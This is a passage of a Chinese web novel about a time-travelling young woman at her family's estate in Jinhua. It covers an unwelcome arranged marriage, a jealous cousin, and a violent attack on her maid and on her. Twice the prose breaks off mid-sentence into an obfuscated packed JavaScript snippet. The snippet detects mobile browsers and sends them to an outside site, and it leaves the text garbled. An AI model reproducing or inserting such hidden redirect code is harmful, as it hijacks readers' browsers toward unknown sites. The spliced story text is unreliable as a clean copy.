“这不是怕你三婶有多余的想法,提前消除嘛。我对羽书,可是忠心不二呢。”这是谢宁轩事后的解释,莫名带着撒娇的意味。 咳咳,说回当下。 场面正尬,厅外又传来敲门声,邓科急急走了进来。他也没看厅中众人,唯朝我点头致意后,便趴到谢宁轩耳旁,说了几句话。 谢宁轩脸色微变,回眸却依旧沉稳。他先是向祖母致歉:“抱歉,老夫人,实乃晚辈此次南下也有朝廷任务,唐突了。” 祖母微笑:“不碍,公事要紧。先生这是还要继续南下?” “不了,就在金华小住几日。只是晚辈有些事,需要立即去处理一下。今日这宴席,请恕晚辈不得不早退,失礼了。” 话是对着祖母说的,谢宁轩眼睛却看向我。 我读懂了他的意思,他是真的有事要处理。 发生什么了?是要找的宫人出什么事了吗? 当下,谢宁轩也没顾及解释,在祖母和三叔的连声谅解下,他拱拱手,起身便出去了。 主角离场,这宴会自然也就结束了。三叔觑了眼祖母沉下来的脸色,借口衙门还有公务,鞋底抹油就溜了。 三婶就没这么好运了,她低头扶着祖母离开,头都没敢抬。估计是要挨批了。 长辈离席,我一口气还没松完,四姑娘却发作起来了。 只见她把裙摆重重一甩,险些丢到我身上,语气不冷不热:“事事都要拔尖,真真是个好人物。自己身上还有婚约,却吃着碗里瞧着锅里。只是这长辈还在的场合,也要注意点,公开打情骂俏,王家的脸面还是要的!” 语毕,老四看也不看我一眼,挺高了胸膛,带着丫鬟们离开了。 我目瞪口呆。 片刻的沉默过后,梨梨用厌弃的语气说:“四小姐又开始作妖了!” 垂柳还处在震惊中:“四、四小姐说的是咱们小姐吗?为、为什么啊?” 梨梨跺脚,胖圆脸上写满了生气:“四小姐嫉妒小姐能嫁入白府!小姐去京城之后,四小姐本以为她婚事就定了,谁知白府拖拖拉拉不提亲。小姐这一回来,她更没戏了呗!” 垂柳今早才听梨梨讲了“冲喜”的事,此刻都懵了:“可小姐不是要被冲喜了吗?这还有人争?” 梨梨伸手“嘘”了一下,压低声音解释:“那只是因为白老太太病重,两家都希望尽快完婚。寻常六礼程序太久了,用‘冲喜’的名头,不是快一些吗?” 原来如此! 我就说嘛,以祖母对原主的宠爱,怎么会安排“冲喜”?原来是担心白府一旦有白事,白少爷就要戴孝停娶三年,届时孙女就耽误成老姑娘了。 心头一暖,亲情带来的安全感再次拉满。 不过听这话音,白老夫人已近膏肓,若是我此番没有回来,为了联姻顺利,王宅肯定还是要安排老四出嫁。 怪不得老四这样怨我了。 说起来,我回来是拜幕后黑手的引诱所赐。回来就和老四呛上,直接产生利益纷争。那幕后黑手就不可能是老四了,她没必要没事找事嘛。 可引我回来的目的何在?会不会,冲喜一事本就与谋杀原主没有关系?幕后黑手只想要原主的命,她被不被冲喜,谁会嫁入白府,并不重要? 我实在想不通,只得暗自腹诽,早知道过完年再南下,也不会有这破事了。 这时,厅外传来叫声,我抬头一看,正碰到谢宁轩探询的视线。 “咦?你怎么又回来了?” 谢宁轩走进厅里,朝两个丫鬟挥袖,垂柳立即就拉着梨梨下去了。 “羽书,我刚得到消息,那宫人在被带到金华的路上,生了场风寒。许是年纪大了的缘故,竟一病不起,眼瞅不大好了。” 我惊了,生出担忧来:“不会是有人搞鬼,阻碍调查吧?” “不至于。”谢宁轩摇头,“此事隐秘,且和现在的朝政局势没有冲突。三殿下传信来,京中也一切正常。应当只是此女年岁原因,不适宜舟车劳顿了。” “那问话后,若和案件真的有关,还能押到京城吗?” “走一步看一步吧,拿到口供,查清案件始末,是最要紧的。她本人怎么处置,我想,圣上也不在意。”谢宁轩答道,一面又锁了眉头,“羽书,我要说的不是这些,是我现在将不得不离开王宅数日。” “嗯。”心头涌出些不舍,或是焦虑,或是不安,我自己也说不准,但话到嘴边,我还是强做笑意,“没事,你去处理你的公事,王家的事我搞得定。” “羽书,”谢宁轩拉住我的手,“我还是放心不下。偏生那边催的急……要不,找个什么借口,你先跟我离开一阵儿?” “别别,真不用。其实你走,可能幕后黑手也会卸下防备,能露出些马脚来。你放心吧,我能照顾好自己。” “不止是安危,我也担心……”谢宁轩顿了顿,垂下眼睫,不知道吞下了什么字眼。但旋即,他又向前一步,深情栩栩,“羽书,我去去就回,三五日功夫,你千万要照顾好自己,等我回来,好吗?” 羞赧丛生,空旷的小厅忽然就逼仄起来。 “羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182562|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书……”谢宁轩喃喃,竟欺身贴来,“我心悬着……” “别,”我慌的直推他,“丫鬟还在外面……” “别怕,垂柳知道分寸。”谢宁轩手臂一箍,眸中映射出我通红的脸颊,他露出深切的爱意,毫不犹豫地吻上了我。 *** 凌先生就这么蜻蜓点水稍作停留,便离开了王宅。小五小六偷偷告诉我,三婶得到消息后,失望得很呢。 说这话的时候,小五正骑着我的脖子,小六攀着我的臂弯,指挥我一路快跑。 得,计划好要施展的调查方案一二三,在谢宁轩离开的当天下午,便宣告破产。 小五小六又过来了,缠着我逛夜市、爬假山、扎风筝,上墙演绎凿壁得光、下河比赛龙舟赛船,挖了老爹旧居大树下的存钱罐、掏了树上的鸟巢还被鸟妈妈追杀,一连两天的高强度陪玩,差点没把我累死。 表妹一向来往也多,爽利耿直,被小五小六评价为“除了三姐以外,最好玩的姐姐”,这些场景自然也少不了她。 到了第三天下午,我真的撑不住了,只得求饶,买了一大堆果子糕点,才勉强把小五小六留在室内玩耍。 晚饭前,一向文静柔美的二姐也来叙话。我最怕一群人无话可说,便挑着戏本讲故事。 才刚开了《西厢记》的头,正听的二姐一双杏眼染上绯色、表妹红脸跺脚、小五小六追逐打闹时,又来了位不速之客—— “呵呵,这么热闹呢?” 笑声戛然而止,小五小六朝我挤眼睛,二姐和表妹站起身来,用帕子拭了拭脸。 老四披着件滚边大氅,映的脸巴掌大小,雪白粉嫩。可惜这么好的面容,却总是冷冷傲傲,真不讨喜。 “四妹妹来了,快请坐。”场面话还是要有的,我招呼丫鬟倒茶,上前迎接。 老四环顾一圈,寒声道:“家里的姐妹都在你这儿,你可真是受欢迎啊。” 一片寂静。 二姐先开口:“四妹妹身体好些了吗?原也是怕打扰你,才没有叫你一起……” 老四毫不留情,直接打断:“你们在干什么?为什么你脸这么红?” 二姐很尴尬,支吾着不知怎么回答。 “哦,我在讲京城趣闻而已。” “京城趣闻能让人听得面红耳赤?” 我不禁有些烦,却听小五大声道:“炭火烧的旺,热的!” 小六“噗嗤”一声笑出来,老四脸色一黑,睨了眼小五小六没有接话。 垂云端了茶进来,老四接过来品了一口,鹿眼中是愠色:“家里最好的龙井,果然只有祖母房里和这棠阁有了,真是心头肉啊。” 表妹忙替我周全:“四表姐,三表姐刚回来,老夫人一时宠爱也是有的。四表姐别生……” 老四重重撂下茶杯,朝表妹剜了一眼。 我登时就恼了,才不惯着她,直接赶客:“四妹妹是来干嘛的?有事说事,没事走人吧。梨梨,送客!” 老四瞪圆了眼珠子,站起来指着我:“你!你!你就仗着祖母宠爱,目中无人!” “我目中无人?”我推开二姐过来拉我的手,喝道,“你跑来这儿又是摔杯子,又是撂脸子,倒反过来指责我?你看清楚,在场的都是你的姐妹,你颐指气使给谁看?” 老四气得鼻子都要冒烟了,指着我说不出话。二姐连连给我递眼神,表妹也拉着我的胳膊,轻声劝:“三表姐,算了,别吵了。” 小五小六安安稳稳的坐在椅子上,瞅瞅这个又瞅瞅那个,聚精会神,前排吃瓜。 我拍拍二姐和表妹的手,朗声道:“真是太可笑了,一会阴阳怪气,一会指桑骂槐,不知道的还以为是深宫怨妇呢!有本事在这儿给姐妹甩脸子,倒不如直接去找祖母、找白家,找那正主儿去!” 埋在水里不见光影的宅斗剧情,我才不要陷入! 老四猛地跺脚,头上的珠花花枝乱颤:“你、你给我等着!我不会让你嫁给泉哥哥的!” 这猛烈的宣言一出,场面又倏地寂静。 这时候,外面走进来一个丫鬟,看见屋里这么多小姐,吓了一大跳。 “三……啊各位小姐安好!老夫人叫奴婢传话,晚上请三小姐务必前去用膳。” 梨梨慌忙拉她下去,可她话还没说完,“梨梨姐姐,老夫人吩咐了,叫三小姐好好打扮一下,晚上是和白少爷一起用膳的。” 好嘛,这话一出,场面直接控制不住了。 老四差点掀了桌子,扔下茶杯就冲出了院子。表妹急忙追去,二姐扶着椅背,张大了嘴。唯有小五小六津津有味的嚼着瓜子,一脸兴奋。 121.小白 我心情很差。 回到金华四五天了,对橙橙的调查根本没有开展。 每次陪祖母吃饭,我都旁敲侧击最新调查结果,祖母却始终不肯说。甚至于她得知寄回京城的信竟然不是老爹阅览,都很震惊,连连吩咐我别费心别参与,去玩就好。 我知道以原主的形象,祖母当然不放心参与调查案件。没有她的授权,素日又被姐妹围绕,摸不清楚王宅人事,我更不敢贸然开展调查。 表妹来往颇多,心性也如郡主般洒脱爽利、单纯赤诚。二姐生母只是姨娘,且父亲早逝,在家中地位不高,加之性子娇柔沉静,也不像能翻云覆雨的幕后黑手。 老四的敌意,倒是一点没有隐藏。可她真的会置姐妹于死地吗?原主去了京城,以她的利益角度,根本没必要诱我回来。 除了这三位,这几天与我交集最多的,还得属两位古灵精怪的小祖宗。我从她们口中,听到了不少王宅秘闻,都拜这二位通天的听壁角技艺所赐。 主子们的喜性癖好、远房亲戚们的红白喜事、宗族大小事务,从娘亲小衣系着的一颗明珠不见了说到三叔因为弟弟学习不用功抽了他三个耳光,从祖母看望白老夫人回来后通红的双眼到三婶用上了焗发油,事无巨细,无一不知。 除了内宅,这俩小鬼竟对金华府各大家族之间的传闻也都有所耳闻,从府丞为儿子寻觅续弦对象到几十年前败落的赌坊主,从南城米铺小厮丫鬟定亲到白家二叔最喜欢的小妾信佛,涉猎之广听得我是连连咂舌。 有如此能力,或许对橙橙之事也有耳闻,我很想问问。可惜这些日子,不是有表妹在场,就是二姐来访,屡屡未找到机会。 见我连连叹气,挽着我的梨梨花式吹捧:“小姐别担心,不梳妆你都是最美的,现在更是仙女下凡!白少爷肯定会眼前一亮的。” 嘁,我才不关心他亮不亮。 梨梨又道:“小姐也别生气,四小姐就是那个性子。前一阵翠阁有蛇出现惊了她,她亲自打板子,不知打了多少人! 这次她被劫持,明明也没怎么,非说翠阁不吉利,又是要重修院墙,又是要加盖阁楼,逼的管家给她找了一大波匠人,把家里弄得乌烟瘴气。” 提起她,我想到那日午宴,她对谢宁轩殷勤的态度,也实在琢磨不透。 她既然如此喜欢白少爷,那天为什么装扮隆重,看起来明明对谢宁轩也有一番心思。 难道她其实在意的不是白少爷这个人,而是白家的地位与权势?所以当遇到更好的跳板,才会心猿意马? 我摸了摸始终放在怀中的粉镯,还在担忧宫中旧案的人证忽然病危,影响谢宁轩的调查。这可是圣上安排的任务呀。 一桩接一桩的不顺心,现在竟还冒出个婚约来,还附赠宅斗剧本?真是可笑! 要不是原主祖母实在慈祥和蔼,我真不想来应付这饭局。 “三小姐来了?”侍奉祖母的嬷嬷出来迎接我,上下打量着夸赞,“三小姐真好看!快进去吧,老太太和白少爷在等了。” 随着帘子掀开,屋内笑声传来。我只得深深吸口气,勉强挤出一副笑脸,踏入了房中。 “书儿来了?快,这边来!” 来不及细看,我已被祖母捞入怀中。余光瞥见桌子对面的青年男子站起身来,似是朝我行了个礼。 祖母殷切的目光投来,我只好也简单问了安。 白少爷倒是笑意满满,掷地有声:“呀,三妹妹真是长大了,礼数周全啊。” 我敷衍笑笑,一屁股坐下来,观察今天的菜色好不好吃。 “书儿,寻思什么呢?泉哥儿问你话呢。”祖母开口唤我。 “啊?什么?” 白公子笑容朗阔:“老夫人,我说的吧!三妹妹出落的越发出尘,性子也端庄不少,还是王宅教养有道啊!” 祖母显然很喜欢这恭维,笑道:“哎呦!小时候皮猴儿,现在倒是坐的住了。去了趟京城,还真稳重了。” 我听着他们两个商业互捧,悄悄端详白公子的长相。 只见他着一袭白袍,身形纤长却有力道,容貌齐整中透着不羁,笑声爽朗,气质疏阔,一举一动颇为随性,不拘一格,竟还有些江湖侠客的霁月光风。 “三妹妹,伯父一向可好?” “哦,好着呢。” 白公子拍手:“说到伯父,有一桩旧事,不知老夫人可还记得?” 祖母兴致勃勃:“什么事?” “那年伯父将三妹妹送回金华,刚进城门,三妹妹翻下马车溜出去玩了。伯父驾车进了宅子,还前院后院逛了好一会,才发现闺女不见了!” 祖母被勾起了回忆,面上透着红光:“是呦!惊动了好几大家族去寻这个丫头,最后还是泉哥儿你找到的吧?” 白公子朝我投来促狭的笑容:“三妹妹赖在糖人铺子前不走,我买了最大的糖人才把她哄开!” 祖母笑得弯了腰,连连拍我的手。白公子又适时提起几件幼时旧事,气氛烘托的圆满极了。 眼看这俩人沉浸在旧事中没完没了,我几次抬起手想要夹菜,都被祖母握住来回抚摸。 我口水都下来了,咱能不能边吃边唠? 祖母刚从一阵笑声中缓过来,爱抚的揽住我的肩头,眼睛都笑弯了:“丫头今天怎么少话,乖乖坐着?” …… 不过祖母太护短了吧,那日午宴上,三叔叫了我一声“猴姑娘”就挨了祖母老大一个白眼,今天在白公子面前,聊的净是原主的糗事,也不觉不妥了吗? 看来这门婚事已经板上钉钉,祖母言谈也没了避讳。 这是逼我跑路的节奏呐! “三妹妹离开金华时日不短,许是对我有些生疏了?一口一个白公子,我听着可别扭呢!”白公子眼睛弯弯,朝我笑道。 祖母一拍我的手:“小时候猴一样哥哥长哥哥短,长大了倒生疏了!” 白公子笑容更深:“三妹妹还是叫我‘泉哥哥’吧。” 我震惊的望向他,余光扫见祖母正看我,满眼期待。 “祖母,不、不用了吧,我、我长大了!” 祖母却笑:“长大了也是泉哥儿的三妹妹呀,快,叫一声‘泉哥哥’,乖。” 脚趾扣地。 我强忍住呕吐的欲望,在心底念了无数遍“王羽书,我这是看你的面子啊,赶紧再给我托几段梦,送来些记忆!”才咽下口水,艰难开口:“嗯、嗯,泉、泉哥哥。” 祖母慈爱的拍拍我的手背,笑容满意。白公子捂住嘴偷笑了一瞬,才又端坐好。 这顿饭吃的我真是太怄,祖母在白公子各种幼年趣闻的带领下,兴致极高,不知不觉聊了许久。末了,竟还叮嘱我“以后日子都要这样乖,不准欺负了泉哥儿。” 真是大写的无语。 好容易熬到饭局结束,我还得奉命送白公子出府。 这人倒是一踏出祖母院子就问:“你今天话很少,听说在京城落水失忆了,所以不记得我了吗?” 我正不爽呢,前面走着的他乍然一回头,我差点径直撞上,不由脱口埋怨:“呀!走着走着咋还停呢!” 白公子竟哈哈一笑:“这话才有点三妹妹的样子。刚才我看你吃饭端着的架势,还以为坐着的是你们家老四呢!” 我眯了眯眼睛,总感觉是在埋汰我。 “泉哥……额,太别扭了!”我小声嘀咕。 “怎么啦三妹妹,你泉哥哥在这儿呢!” 鸡皮疙瘩掉一地,我赶紧说:“我还是叫你白公子吧。” 白公子歪歪头:“可是你祖母让你叫我‘泉哥哥’的嘛。你怎么不听话?” 心头飘来一阵乌云,我哑口无言。却见他笑的促狭,分明是在戏弄我。 见我表情变了,白公子竟还鼓掌笑:“能听见你叫我几声‘泉哥哥’,真是难得。” 我翻了个白眼。 “行吧,随你怎么叫吧。小时候你可调皮多了,几时能这样老老实实坐在席间?真稀罕!” “呵呵。”我敷衍笑笑,暗自吐槽此人真欠扁,和我领导办公室那只贱贱泰迪一个德行,干脆就叫—— “不如我叫你小白吧,夸你白,还亲切!”我一本正经的说道。 小白大手一挥,毫不在意。 我强忍住笑意,邀他去亭子里坐坐。这人脾性豁达,也许婚约一事,可以坦白谈谈。毕竟为了查案,我也得在王宅赖上些时日。 小白三步作两步,迈进亭子便一屁股坐下,随手搭在栏杆上,颇有几分盎然自若。 我慢慢踱过去,踟蹰不知怎么开头。 小白倒是弓腰凑近,直接问:“三妹妹叫我过来,嗬,是为了婚约吧?你不满意?” 我有些惊诧,琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我想起抵达那晚,我送谢宁轩去客院,确实还没说几句话,祖母就派丫鬟连连催我。原来不止是祖孙情深,还有这个原因啊! 那当时,谢宁轩未说完的话,担忧的神情……他也意识到了!怪不得他次日去公干,显得那么忧心忡忡。 好在他还不知道婚约的存在。 我这么想着,越发心急起来,恨不得当下就把这个该死的婚约取消掉。 “嘶,关于这‘冲喜’,我觉得还是……诶,等一下,刚才这些,你怎么就直接告诉我了?”我忽地意识到不妥,诧异地问。 小白摊手,一副无所谓的样子:“你若心里有别人,嫁给我也不会幸福,还不如我先问问你,看看咱俩心意相通不。” 嘿,这个小白,还挺通透嘛! 我想起红觉寺听到的壁角,有了猜测:“这门婚事,呵呵,我感觉你也不太满意吧?听说是白老夫人身子不大好,强加给你的?” 小白睨过来两眼:“别把话题往我这儿引啊,是你叫我来谈话的,是你不愿吧?” 我见他不上当,也不气馁,索性直截了当:“猜对了,我确实不愿意。” 小白眼神中有探寻,嘴角倒是一直挂着笑意:“看上人家博士了?” 我咬住嘴唇,没敢承认。 小白歪了歪头:“那是为什么,不喜欢‘冲喜’的名头?六礼而已,白家都可以补上。” “名头确实挺难听的。”我点点头,“但这也不是关键,主要是咱俩……” “咱俩怎么了?难道是我不够优秀?你怕配不上你?”小白乐呵呵的问。 我赶紧否认:“不不,你很优秀!就你今晚哄我祖母的功夫,长辈们没有不喜欢你的吧?听说你主管家业,以你的情商和沟通能力,生意很好做吧?” “情……什么?这什么新鲜词儿,真是去了趟京城,大不一样了呀。”小白微微耸肩,“只是你说的这些,我从不在意。人生在世,在意太多反而容易失去。” 说这话的时候,小白靠在凉亭一侧,明暗闪烁的灯烛打在他的身上,莫名荡出一种伤感来。 我忽然就来了兴趣,没忍住问了句:“那你在意什么?” 小白侧了侧头,难得认真的回复:“活得快乐不快乐,我在意这个。” 122.茉莉膏 回来的第七天午后,在又一次高强度的陪玩服务后,垂柳已经累瘫在地了。 这主要源于今早小五小六又想出了新的花招,说是要沿河挖蚯蚓。我刚好因祖母约了裁缝上门量体做冬衣而避过一劫,表妹则被老四扣在翠阁挑墙绘图案,迟迟不得出来。 于是,我的两个丫鬟就替代了我们俩,被拉去当了一上午的苦力。这么一对比,昨日因为娘亲生病而告假回家了的梨梨,都显得幸运不少。 垂云偏静,在两位小祖宗看来,和无趣的丫鬟们大差不差,还是活泼的垂柳更对胃口。因此,她也被折腾的最惨。 回到棠阁时,发髻散了,脸颊脖颈都是泥土,裤腿都划破几道。 我本还觉得祖母实在太挑剔,不就是个冬衣么,至于反复试穿成衣吗?量好尺寸咔咔做不就完了。这给我试了几十身,累的都虚脱了。 一看垂柳,我立时吞下了埋怨。 “得,还是你俩先洗澡吧,瞧被那俩熊孩子埋汰的,好家伙,发色都看不出来了!”我咂舌道。 垂柳欲哭无泪,悲怆望天。 垂云还不答应,连连摇头:“哪能我们先洗,小姐,午时外围丫鬟把洗澡水都备好了,还是我们侍奉小姐沐浴吧。” “别别。” 我感到一阵歉意,心说真是苦了你俩了,跟了我这么个主子,还得附加带娃的工作…… 任务翻倍,得给打工人加工资呐! “洗澡水是一直温着的,这里也没外人。王宅施粥,人手不够,咱们棠阁的丫鬟不是也被临时征用几日吗?不用担心她们背后议论。就你俩先洗!好了,说定了!” 我强硬一波,说着就起身去抬水。 垂柳摆摆手,拒绝的话都说不动了,垂云还跟出来,仍要帮忙,也被我一把推了回去。 两个丫鬟帮我太多,也该我投桃报李,只是帮她们洗个澡,这又算得了什么呢? 然而等我抬了水进屋,却发现垂云又不见了。 “她刚才去加炭,发现今早送来的一筐精炭,面上是好炭,下面居然放着柴。我们俩若是先洗,小姐你一会儿沐浴,怕是不够烧了。所以又去取炭了。”垂柳气若游丝。 “那我今天就不洗了呗!她都累坏了,何必为此再跑一趟!”我跺跺脚,有些无奈。 “小姐……”垂柳挣扎着站起身,帮我将水倒进浴桶,还想劝我先洗。 我睨了眼她头顶粘着的枯草:“好了,别推三阻四了!快进去吧,你都臭啦!” 垂柳闻了闻手掌,哭丧着脸解开腰带,也没有再推辞。 “我看水还多着呢,今天我不洗也没事,给你把头发多洗两遍。”我边说边走到梳妆台,找肥珠子,也就是这年头洗头的无患子,“放哪了?昨天领回来的,不是放在这儿了吗?” “不是肥珠子。小姐,是这个!”垂柳慢慢挪过来,伸手拿起了桌上一个铜质的精致小圆盒。 “这是什么呀?” “是个叫茉莉膏的稀罕物件。”垂柳嘿嘿一笑,打开盒盖,扑面茶香,“我昨天去取肥珠子,刚巧碰到三太太娘家的婆子来送礼,听说是从南洋贩来,用来滋养头发的宝贝!管家便叫我先挑了一盒,小姐你瞧,是不是很香?” 茶香中还和着清淡木调韵味,很像后世出名的某款香水。我深吸一口气,心情也愉悦不少。 “是挺好闻的耶,这好用吗?” “好用!三太太娘家主子用了都说比肥珠子好用多了,这才特意送来咱们家!说是直接干着抹在头发上,清洗之后就又滑又顺呢!” 听起来像是护发素的用法嘛。我暗忖着,一面挖下盒中的膏体,对着垂柳已经散落的头发抹了上去。 垂柳心虚的看着我的动作,还有些踟蹰。 “没事,别介意,说了你先洗就你先洗嘛,脱衣服吧,炭火正旺。” 垂柳颔首,慢慢脱外衣。 可我的手指却停在了茉莉膏上,面上薄薄一层膏体刮净后,下方硬硬的,戳不动了。我又用指甲抠了抠,发现仍然硬邦邦的。 “呀,这是不是结块了?” 垂柳拿过去瞧:“糟了,冻上了!哎呀,天太冷了!” “得,我先放在炉子上哄软去。” “不行!”垂柳拉住我,“那婆子说了,这玩意受不得热,会坏的!” “啊?这么矫情?唔,那、那等开春自然化了再用?今天还是用回肥珠子?” 垂柳脖子一僵,眨眼:“可我昨天,没领肥珠子……糟了,光顾着看这稀罕玩意,我把肥珠子忘了!呜呜,还、还得再去取……” “哦没事没事,我去我去。” “要不……”垂柳委屈的扁扁嘴,“不用肥珠子,我就随便洗洗。” “那怎么行?”我指着她前额干掉的泥巴块,“太脏了,不用肥珠子可洗不干净。这俩小鬼也真是的,怎么能把泥土往人头上抹?明天我真得说说她俩,不能再这样调皮了!” “小姐,呜呜呜呜……”垂柳感动嘤嘤。 “好了,咋还哭上了?行了,你自己先泡一会哈,我去去就来。” 领个肥珠子而已,加上今日宅中大部分下人都被借调外出,少了不少见到我要行礼的流程,我来回也跑快许多,很快就又返回了棠阁。 因而,我根本没有料到,就这短短时间,垂柳正经历着一场风暴。 *** 才刚回到棠阁门外,我忽然听到了暗哑、奇特的叫声。有高昂的尖叫,却总是转瞬而逝,好像坏掉的收音机,播上一个音就断掉。 我很纳闷,心头没来由涌上不详,加快脚步,我朝主屋跑去。 刚一推门,垂柳尖利、短促、被打断的求救声就刺入耳朵。 我都吓傻了,奔过外间的屏风,就见一个身材五短、獐头鼠目的男子,将垂柳逼在浴桶后的墙角里,正双手撕扯着她的衣服。 垂柳拼死抗争,让男子不能一下得逞,气的对方连抽耳光,使她一声“救命”都叫不完整。 就在我奔进来的这一刻,男子又扯下一件,眼看手就游弋到了垂柳的领口,攻击起她的小衣来。 手中匣子掉落。 喉咙先于大脑,我亦发出惊恐至极的尖叫声,划破天际。 “救命啊!来人啊!” 那歹人被我的叫声惊得后退了两步,却扔杵在屋里,竟没有逃跑。 糟了,被我撞见,咋还不跑?这、这是还要行凶? “快跑,快跑啊!”头皮都发麻了。仅剩的理智,驱使着我对着垂柳大喊。 可垂柳仍缩在角落,不知是吓得腿软崩溃,还是应激到无法起身,完全没有动弹。我瞥见垂柳嘴角的血迹,发现歹人竟又朝垂柳逼近两步,恐惧霎时达到顶点。 不避人,这厮真的还要施暴! “垂柳!” 来不及多做思考,我大吼一声,随手抄起屏风内侧博古架上的花瓶,猛地朝歹人扔去。 准头不错,花瓶砸中那人肩膀,“哗啦”一声,碎片还蹦到了他的脸上,逼的他顿了顿脚步,没有再向垂柳动手。 不幸的是,疼痛激怒了他。他摸了摸自己的脸,就露出狰狞面目,转而朝我扑来。 我吓死了,叫声都变形了。 好在我就站在屏风旁边,一博古架的赏玩可以用来砸。我抄起一个又一个,对着他的脑袋就是毫无章法的一阵乱丢,还不忘连声大吼:“垂柳,快跑,快跑啊!” 震天的瓷器碎裂声总算惊醒了七荤八素的垂柳,她旋即嚎啕大哭起来。 歹人闪躲不及,被我丢中了好几个,脸上身上都出现了划伤。他还是不罢手,还想趁机往前冲。 博古架眼看丢完了,我又奔到梳妆台前,把能摸到的玉佩簪子、胭脂香露全丢去。 可这些玩意小多了,命中率显著下降,歹人得以靠近几米,眼看就要近我身了。 这时,我摸到了最后一样硬物,狠狠砸了过去。 歹人正伸手来抓我的胳膊,被它砸中眼睛,吃痛的叫骂,不得不蹲下缓解。 我就趁着这一点点救命的时间,冲去拽起瑟瑟发抖的垂柳。她本就累的脱力,刚又遇袭,还差点被人撕掉小衣,情绪已在崩溃边缘。 我只得大声呼唤:“垂柳,站稳了!快往窗户那儿逃!” 垂柳又懵又怕,抖似筛糠,半响,竟冒出一句:“蛇,小姐!那边有蛇!” 我方了,顺着她哆哆嗦嗦的手指一看,这才注意到窗户下方溜着一条小缝。此刻,正有一条蛇盘在窗台,吐着蛇信子。 从没和蛇这么近距离接触过,石化两秒后,我再次难以抑制的尖叫起来。 这时,歹人也站直了身子。他用手捂着右眼,指缝渗血。 我把他眼睛砸烂了? 活该! “臭娘们!你才是小姐?”歹人也 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头皮就要撕裂了,我疼的浑身冒出一茬一茬的汗。完全挣扎不得,我顺着他的用力方向,头朝下栽去。 眼看我就要被倒吊着扔进浴桶,歹人的力道却变小了。 垂柳撕扯哭喊的声音和他的叫骂声交杂,似乎是垂柳冲来救我,又和他一只手打了起来。 然力道悬殊,垂柳很快便被扔了出去。 歹人另一只手也伸了过来,掐住我的腰一提。我揪住浴桶边沿的抵抗宣告失败,就这么被他按进了浴桶。 这时,我脸上半部分还在洗澡水位之上,歹人的一只手就朝脸颊按来。 危急关头,我瞅准机会张口就是一咬,正咬中他的大拇指。饶是情势岌岌,我还是清晰的感受到,他的手指布满了老茧。 歹人猛然受痛,用力拽手指,另一只手则过来掐我的脖子。 接下来就完全是出于生的渴望,又或许是肾上腺素爆发的缘故,我用两手死死扣住他的手腕,拯救着一丝丝的呼吸。头则被他甩的磕到浴桶数次,脑袋都砸懵了。 但我的牙齿,丝毫没有放松。 很快,血腥味弥漫,我不知道是我牙齿被震得松动,还是我总算咬开了他的皮肉。但他已经痛到难以自控,唯有用力甩开我的双手,也不再掐我,转而给了我两个大嘴巴。 当下我就只剩身体反应,大脑宕机,眼睛都睁不开了。 就在这时,耳旁忽然传来“砰!”“咣!”两声。伴随着“嗯哼”闷响,头顶忽然被泰山压顶一般,我整个人就没入了水中。 呼吸剥夺,我拼命去推头顶的压力。可倒下的歹人却似软泥又重又滑,我怎么也推不开。 窒息感一丛一丛。 好在稍纵功夫,熟悉的“三妹妹”就在耳边响起。一个大手捞住我的胳膊,将我提出浴桶。 然而,明明是近在咫尺的声音,明明能感受到向上的力量,明明我也离开了浴桶的束缚。 眼前,却唯有青光。莫名的恐惧感,生死的恐惧感,无端端将我笼罩。 我什么也看不清,什么也说不出来。眼前一黑,承受不住,我竟然晕倒了。 *** 这是哪里? 是河边。 我在干什么? 不,不是我。 对面的姑娘在爬树,树上有果子。她动作麻利,三下五除二就爬上了树,那果子偏偏生的高,在树枝的另一边,姑娘伸长了手,还是够不到。 “橙橙,你扶着我点!我快够着啦!”姑娘朝树下的丫鬟叫了一句,她松开了双手,朝树枝方向探去,重心前压。 能控制她不掉下来的,唯有丫鬟死死抱住她,将她的双腿按在树上。 “橙橙!快看!我摘到……啊!” 姑娘身子一倾,扑通掉进河里。她有非常短暂的挣扎,无奈连一整句“救命”都叫不出来,就被河水吞噬了。 “有人落水了!”对面的船家看到了挣扎的人头,朝河里扑了进去。 橙橙面色惨白,朝河里探了两眼,飞快的跑了。 姑娘被救起来的时候,早已围了一大圈人,船家朝姑娘胸脯使劲的按,使劲的按,直到姑娘猛地吐出水来。 “救活了!她没死!”周遭人一片欢呼。 不,她死了。 123.调虎离山 等我惊醒的时候,头上全是冷汗。 杂乱无章的窒息感消退,我花了几秒钟才看清眼前呼唤着我的人,重重地垂头躺了下去。 原主死了,原来是这样死的。 谢宁轩说得对,橙橙并非有意推她,竟真的是把生死交给老天决定。 “小姐,小姐!”垂柳大声哭着,“你终于醒了!天哪,怎么会发生这种事!” 我抬抬手,想支撑着起身,一阵疼痛袭来。 梨梨立即扶起我的胳膊,呜咽着:“小姐不敢用力!手腕扭伤了,肚皮也擦破了,膝盖被瓷片划烂了……呜呜,怎么会这样!” 垂云也红着眼圈,紧紧握着我的手:“小姐,别怕,别怕!那歹人已经被老夫人处死了!” 处死…… 他死了? 我忍不住颤抖。 我曾参与过破获桩桩案件,尸体和血腥气压抑浓重;也曾被人袭击,不止一次流血受伤;在江瑟楼案中,我更是掉入南于湖中,差点淹死。 可没有一次,像这次,那么清晰的死亡写照。 困在水中的窒息感,被人追打的恐惧感,压住身体无法动弹的压迫感,那么的真实,那么的清晰。犹如一只手抓在我的头皮上,叫我时时刻刻无法呼吸。 我知道,它不光来源于刚才的遇袭,还来源于梦里真实的片段,在于河水淹没时的无助与惊慌。 